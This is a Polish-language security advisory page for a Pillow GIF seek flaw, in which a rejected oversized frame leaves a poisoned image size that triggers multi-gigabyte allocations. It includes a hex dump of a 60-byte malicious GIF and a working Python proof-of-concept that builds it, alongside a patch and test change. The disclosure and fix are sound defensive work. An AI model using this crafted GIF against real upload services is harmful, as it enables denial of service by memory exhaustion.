Pillow: przewijanie GIF zachowuje odrzucony rozmiar po DecompressionBombError, umożliwiając DoS
============================================================================
GIF seek keeps rejected size after DecompressionBombError, allowing DoS
Location: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
Plik GIF o rozmiarze około 60 bajtów może spowodować przydzielenie przez Pillow gigabajtów pamięci. Dotyczy to aplikacji, które przechwytują błąd informujący o zbyt dużym rozmiarze obrazu zgłaszany podczas przechodzenia do kolejnej klatki animacji, a następnie nadal używają tego samego obiektu obrazu. Pillow poprawnie odrzuca przewymiarowaną klatkę, ale mimo to zapisuje odrzucone wymiary w obiekcie obrazu, przez co kolejne operacje alokują pamięć na ich podstawie. Osoba atakująca, która może przesłać plik GIF do takiej usługi, może wyczerpać jej pamięć: proces kończy się błędem braku pamięci (out-of-memory) po zaalokowaniu gigabajtów lub zostaje zatrzymany przez system operacyjny. Nie dochodzi do uszkodzenia pamięci.
Błąd znajduje się w GifImageFile._seek() (src/PIL/GifImagePlugin.py:292-294). Gdy zasięg klatki powiększa obraz, kod przypisuje nowy rozmiar do self._size i dopiero potem wywołuje Image._decompression_bomb_check(). Żaden mechanizm nie przywraca poprzedniego rozmiaru po zgłoszeniu DecompressionBombError, ponieważ seek() cofa zmiany tylko w przypadku EOFError. Po przechwyceniu błędu im.size zgłasza odrzucony rozmiar, podczas gdy bufor pikseli im.im wciąż odpowiada pierwszej klatce o wymiarach 1×1. Ponieważ zasięg składa się z 16-bitowego przesunięcia oraz 16-bitowego rozmiaru, ten odrzucony rozmiar może wynosić nawet 131070×131070.
W dołączonym przykładzie odrzucony rozmiar wynosi 40000×40000. Ponowne wywołanie seek(1), a następnie load(), dociera do load_prepare(), które wywołuje Image.core.fill() z tym rozmiarem w celu zdekodowania pojedynczego piksela. Szczytowe zużycie pamięci rośnie z 17 MiB do 1700 MiB, zanim limit przestrzeni adresowej wynoszący 3 GiB zatrzyma kolejną alokację. Image.new("RGB", im.size, ...) oraz rotate(..., expand=True) również alokują pamięć na podstawie nieaktualnego rozmiaru.
Ścieżki domyślne nie są podatne: standardowe Image.open() wraz z load(), ImageSequence.Iterator oraz n_frames/is_animated. Kolejność ta została wprowadzona w c9f1b35e9810 („Added GIF decompression bomb check”, 2022-06-30, wydanym po raz pierwszy w 9.2.0), gdzie sprawdzanie dodano dla CVE-2022-45198. Dwa późniejsze sprawdzenia zasięgu usuwania w tej samej funkcji weryfikują dane przed użyciem rozmiaru, a dołączona łatka dostosowuje to sprawdzenie do tej samej kolejności.
Szczegóły
GifImageFile._seek() pozwala późniejszej klatce na powiększenie obrazu i wykonuje sprawdzenie pod kątem bomby dekompresyjnej dla nowego rozmiaru dopiero po zapisaniu go w obiekcie:
# src/PIL/GifImagePlugin.py:289-294 (GifImageFile._seek)
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
self._size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated
Image._decompression_bomb_check(self._size) # ...then validated
_decompression_bomb_check() (src/PIL/Image.py:3586) zgłasza DecompressionBombError dla wartości przekraczających 2 * MAX_IMAGE_PIXELS (domyślnie 178 956 970 px), jednak do tego czasu self._size zawiera już odrzuconą wartość i nic jej nie przywraca: seek() (GifImagePlugin.py:166-179) cofa zmiany tylko przy EOFError, a _seek(0) wyłącznie zwiększa _size. Obiekt nadal przechowywany przez aplikację raportuje zatem im.size == (40000, 40000), podczas gdy im.im jest buforem klatki 0 o wymiarach 1×1. Porównaj dwa sprawdzenia zasięgu usuwania kilka linii niżej w tej samej funkcji (GifImagePlugin.py:383 i :407), które wywołują _decompression_bomb_check(dispose_size) przed odpowiednim Image.core.fill(), oraz TiffImagePlugin.load_prepare() (src/PIL/TiffImagePlugin.py:1319-1321), które sprawdza _tile_size przed wykonaniem alokacji na jego podstawie.
Dla tego pliku GIF o rozmiarze 60 bajtów (szesnastkowo):
47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette
2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data
2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0)
2c000000000100010000 02 024401 00 another 1x1 frame
3b trailer
Image.open() kończy się sukcesem (im.size == (1, 1)), im.seek(1) zgłasza:
DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, and afterwards im.size == (40000, 40000),
im.im.size == (1, 1), im.tell() == 0.
Dalszy przebieg zależy od tego, co aplikacja zrobi z obiektem, jednak kilka typowych operacji pobiera wymiary z im.size, a nie z bufora w C:
- Ponowienie
im.seek(1). Nieudane_seekpozostawiłoself.__offset == 0oraz wskaźnik pliku tuż za 9-bajtowym deskryptorem, więc ponowna próba przetwarza wszystko, co następuje dalej — w powyższym pliku poprawną klatkę 1×1 — i kończy się sukcesem.im.load()uruchamia następnieGifImageFile.load_prepare():co alokuje i wypełnia za pomocąpython# src/PIL/GifImagePlugin.py:452-456 elif self.mode in ("RGB", "RGBA"): self._prev_im = self.im if self._frame_palette: self.im = Image.core.fill("P", self.size, self._frame_transparency or 0)memsetobraz „P” o wymiarach 40000×40000 (1.6 GB), aby zdekodować do niego kafelek 1×1, aload_end()(GifImagePlugin.py:485-491) wypełnia drugi i konwertuje go do RGB (kolejne 1.6 GB + 6.4 GB). im.rotate(angle, expand=True)dla kąta niebędącego wielokrotnością 90 lub popularny idiom spłaszczania do tłaImage.new("RGB", im.size, bg)również alokują pamięć na podstawieim.size(zmierzone na obiekcie zatrutym do rozmiaru 20000×20000:rotate(45, expand=True)kończy działanie i dotyka 776 MiB;Image.new("RGB", im.size, "white")dotyka 1.5 GiB). Operacje, które przekazująim.sizejako pole względem rzeczywistego bufora (thumbnail,resize,save), kończą się zamiast tego błędemValueError/SystemError.
Pola zasięgu to 16-bitowe przesunięcie oraz 16-bitowy rozmiar, więc zapisany rozmiar może zostać powiększony do 131070×131070 (17.2 Gpx; 17 GB dla trybu „P”, 69 GB dla pamięci „RGB”/„RGBA”), czyli 96× progu błędu.
n_frames / is_animated nie są dotknięte: wywołują _seek(frame, update_image=False), co pomija przypisanie do _size (powyższy plik raportuje n_frames == 2, is_animated == True i pozostawia im.size na poziomie 1×1).
Wpływ
Zdalny użytkownik, który może przesłać plik GIF do usługi, która (a) przewija klatki animacji oraz (b) przechwytuje wyjątek z seek() — poprzez szerokie except Exception wokół pętli zbierania klatek while True: im.seek(im.tell()+1) lub jawne except DecompressionBombError: log and continue — a następnie nadal używa tego samego obiektu Image, doprowadza do alokacji od 1.6 GB do kilkudziesięciu GB z pliku o rozmiarze 60 bajtów: MemoryError po zajęciu gigabajtów przez proces lub zabicie procesu roboczego przez mechanizm OOM, gdy nie zdefiniowano limitu przestrzeni adresowej. Zabezpieczenie MAX_IMAGE_PIXELS zadziała, ale w rzeczywistości nie zapobiega pozostaniu odrzuconych wymiarów w chronionym obiekcie.
Warunek wstępny odzwierciedla rzeczywiste zachowanie aplikacji, ale nie jest ścieżką domyślną: Image.open(); im.load() nie jest podatne, a ImageSequence.Iterator propaguje błąd poza instrukcję for (try wewnątrz ciała pętli go nie wycisza). Stąd niska ważność. Problem wiąże się ze sprawdzeniem bomby zasięgu GIF dodanym w ramach CVE-2022-45198: kolejność wprowadzono wraz z tą weryfikacją w c9f1b35e9810 („Added GIF decompression bomb check”, 2022-06-30), wydanym po raz pierwszy w Pillow 9.2.0. Wcześniej takie samo zwiększenie rozmiaru następowało bez żadnej weryfikacji; dodane tam sprawdzenie jest wykonywane zbyt późno.
Odtworzenie błędu
repro to pojedynczy skrypt w języku Python uruchamiany na zainstalowanej bibliotece Pillow. Wymaga około 1.7 GB wolnej pamięci RAM.
setup_env()ogranicza przestrzeń adresową procesu do 3 GiB za pomocąRLIMIT_AS, dzięki czemu przewymiarowane alokacje kończą sięMemoryErrorzamiast zabiciem przez OOM killera. Następnie otwiera pokazany wyżej 60-bajtowy plik GIF, utworzony w pamięci przezbomb_gif(). GIF zawiera ekran 1×1 oraz klatkę 0 o wymiarach 1×1, więcImage.open()przechodzi pomyślnie własną kontrolę bomby. Następnie pojawia się surowy deskryptor obrazu klatki 1, który deklaruje wymiary 40000×40000 (1.6 Gpx, około 9× progu błędu). Po nim następuje prawdziwa klatka 1×1.poc()wywołujeim.seek(1)i przechwytujeDecompressionBombError, tak jak zrobiłaby to aplikacja pomijająca uszkodzone klatki.- Pierwsze sprawdzenie: stan jest niespójny. Skrypt wypisuje
im.sizeobok rzeczywistego bufora pikseliim.im.size. Gdyby odrzucona klatka pozostawiła obiekt bez zmian, obie wartości wynosiłyby(1, 1). W podatnym kodzieim.sizewynosi(40000, 40000). - Drugie sprawdzenie: zużycie pamięci. Skrypt ponawia próbę
im.seek(1), która teraz przetwarza końcową klatkę 1×1, i wywołujeim.load(). Wyświetla szczytowe RSS procesu przed i po operacji.load_prepare()ustala rozmiar swojegoImage.core.fill()na podstawieim.size, więc załadowanie pojedynczego piksela wypełnia bufor o rozmiarze 1.6 GB, zanim limit 3 GiB zatrzyma kolejną alokację.
Oczekiwany wynik na podatnym drzewie kodu:
open(): 60-byte GIF, size=(1, 1)
seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack.
after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1)
seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB
BUG
Skrypt wypisuje BUG tylko wtedy, gdy oba warunki są spełnione: przekraczający limit rozmiar pozostał w obiekcie po wystąpieniu wyjątku, a szczytowe RSS wzrosło o ponad 1000 MiB podczas ładowania klatki 1×1. W przeciwnym razie wyświetla OK. Po zastosowaniu dołączonej łatki skrypt wyświetla im.size=(1, 1), szczytowe RSS utrzymuje się na poziomie około 23 MiB, a ostatnia linia to OK.
Sugerowana poprawka
Dołączona łatka przeprowadza walidację przed modyfikacją w GifImageFile._seek() (src/PIL/GifImagePlugin.py:292-294): powiększony zasięg jest obliczany do zmiennej lokalnej, przekazywany do _decompression_bomb_check(), a dopiero potem przypisywany do self._size, co odpowiada kolejności dwóch sprawdzeń dispose_size znajdujących się niżej w tej samej funkcji. Odrzucona klatka pozostawia zatem obiekt w stanie sprzed przewijania; prawidłowe pliki zachowują się jak dotychczas, a wyjątek jest nadal zgłaszany w tym samym miejscu:
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
- self._size = max(x1, self.size[0]), max(y1, self.size[1])
- Image._decompression_bomb_check(self._size)
+ size = max(x1, self.size[0]), max(y1, self.size[1])
+ Image._decompression_bomb_check(size)
+ self._size = size
frame_dispose_extent = x0, y0, x1, y1
flags = s[8]
n_frames / is_animated korzystają z update_image=False i problem ich nie dotyczy. Poprawka rozszerza również test_exception_gif_extents w Tests/test_decompression_bomb.py, aby upewnić się, że im.size pozostaje bez zmian po DecompressionBombError. Nie modyfikuje samego seek(); opcjonalnie seek() mogłoby również traktować DecompressionBombError tak jak EOFError i ponownie przewijać do last_frame, aby ponowione seek() nie wznawiało parsowania od środka odrzuconej klatki.
Łatka
GIF: wykonaj sprawdzenie pod kątem bomby dekompresyjnej na zasięgu powiększanej klatki przed zapisaniem go w self._size
Dotyczy src/PIL/GifImagePlugin.py we wskazanym commicie.
diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py
index 98d833736..83cc785fc 100644
--- a/Tests/test_decompression_bomb.py
+++ b/Tests/test_decompression_bomb.py
@@ -63,6 +63,9 @@ class TestDecompressionBomb:
with pytest.raises(Image.DecompressionBombError):
im.seek(1)
+ # The rejected frame should not have changed the image size
+ assert im.size == (100, 100)
+
def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None:
# Set limit to trigger exception on the test file
monkeypatch.setattr(Image, "MAX_IMAGE_PIXELS", 4 * 64 * 128)
diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py
index 11fb180fc..f9bda06c2 100644
--- a/src/PIL/GifImagePlugin.py
+++ b/src/PIL/GifImagePlugin.py
@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):
x0, y0 = i16(s, 0), i16(s, 2)
x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)
if (x1 > self.size[0] or y1 > self.size[1]) and update_image:
- self._size = max(x1, self.size[0]), max(y1, self.size[1])
- Image._decompression_bomb_check(self._size)
+ size = max(x1, self.size[0]), max(y1, self.size[1])
+ Image._decompression_bomb_check(size)
+ self._size = size
frame_dispose_extent = x0, y0, x1, y1
flags = s[8]
Przykład odtwarzający błąd
Przykład odtwarzający — repro, 2,474 bajtów
Jego ostatnia linia to BUG, gdy błąd występuje, oraz OK, gdy nie występuje. Przy ponownym uruchomieniu na czystej kompilacji tego commita skrypt wypisał BUG.
#!/usr/bin/env python3
# GifImageFile._seek() stores a frame's enlarged size in self._size and only
# *then* runs the decompression-bomb check. The check raises, but the object
# keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the
# next load() allocates from that size: 1.6+ GB for a 60-byte GIF.
import io
import resource
import struct
from PIL import Image
BOMB = 40000 # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold
LIMIT = 2 * Image.MAX_IMAGE_PIXELS
def frame_1x1():
# image descriptor at (0,0) 1x1, then a 1-pixel LZW stream
return b"," + struct.pack("<HHHHB", 0, 0, 1, 1, 0) + b"\x02\x02\x44\x01\x00"
def bomb_gif():
return (
b"GIF89a" + struct.pack("<HHBBB", 1, 1, 0x80, 0, 0) + b"\x00" * 3 + b"\xff" * 3
+ frame_1x1() # frame 0: 1x1, passes open()
+ b"," + struct.pack("<HHHHB", 0, 0, BOMB, BOMB, 0) # frame 1 claims 40000x40000
+ frame_1x1() # a real 1x1 frame follows
+ b";"
)
def peak_rss_mib():
return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024
def setup_env():
# Cap the address space so the oversized allocations end in MemoryError
# instead of the OOM killer.
resource.setrlimit(resource.RLIMIT_AS, (3 << 30, 3 << 30))
data = bomb_gif()
im = Image.open(io.BytesIO(data))
print(f"open(): {len(data)}-byte GIF, size={im.size}")
return im
def poc(im):
# An application skips the bomb frame and keeps going.
try:
im.seek(1)
except Image.DecompressionBombError as e:
print(f"seek(1) raised as intended: {e}")
return True
return False
im = setup_env()
raised = poc(im)
# Expected: a rejected frame leaves the object as it was (size == buffer == 1x1).
print(f"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}")
poisoned = raised and im.size[0] * im.size[1] > LIMIT and im.im.size == (1, 1)
# Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its
# buffers from the poisoned im.size.
before = peak_rss_mib()
im.seek(1)
try:
im.load()
outcome = "completed"
except MemoryError:
outcome = "MemoryError at the 3 GiB cap"
after = peak_rss_mib()
print(f"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB")
ballooned = after - before > 1000
print("BUG" if poisoned and ballooned else "OK")
Co trzeba zrobić
Zaktualizuj bibliotekę Pillow do wersji 13.0.0 lub nowszej albo zastosuj sugerowaną łatkę.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | pillow | >= 9.2.0, < 13.0.0 | 13.0.0 |
Odnośniki
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg
- https://nvd.nist.gov/vuln/detail/CVE-2026-112400
- https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Słabość (CWE)
CWE-400- Platforma
- Python (PyPI)
- Paczka
pillow- Ujawniono
- 20.10.2026
- Aktualizacja
- 20.10.2026 23:31
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-65qm-jvmh-6pqg - CC BY 4.0
Historia podatności: pillow
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 81
- Pierwsza → ostatnia
- 04.2014 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 1
Rozkład istotności
- Krytyczna 10
- Wysoka 53
- Średnia 16
- Niska 1
- Nieoceniona 1
Ujawnienia w latach
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 23
wcześniej: 12
-
Pillow: przewijanie GIF zachowuje odrzucony rozmiar po DecompressionBombError, umożliwiając DoS ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.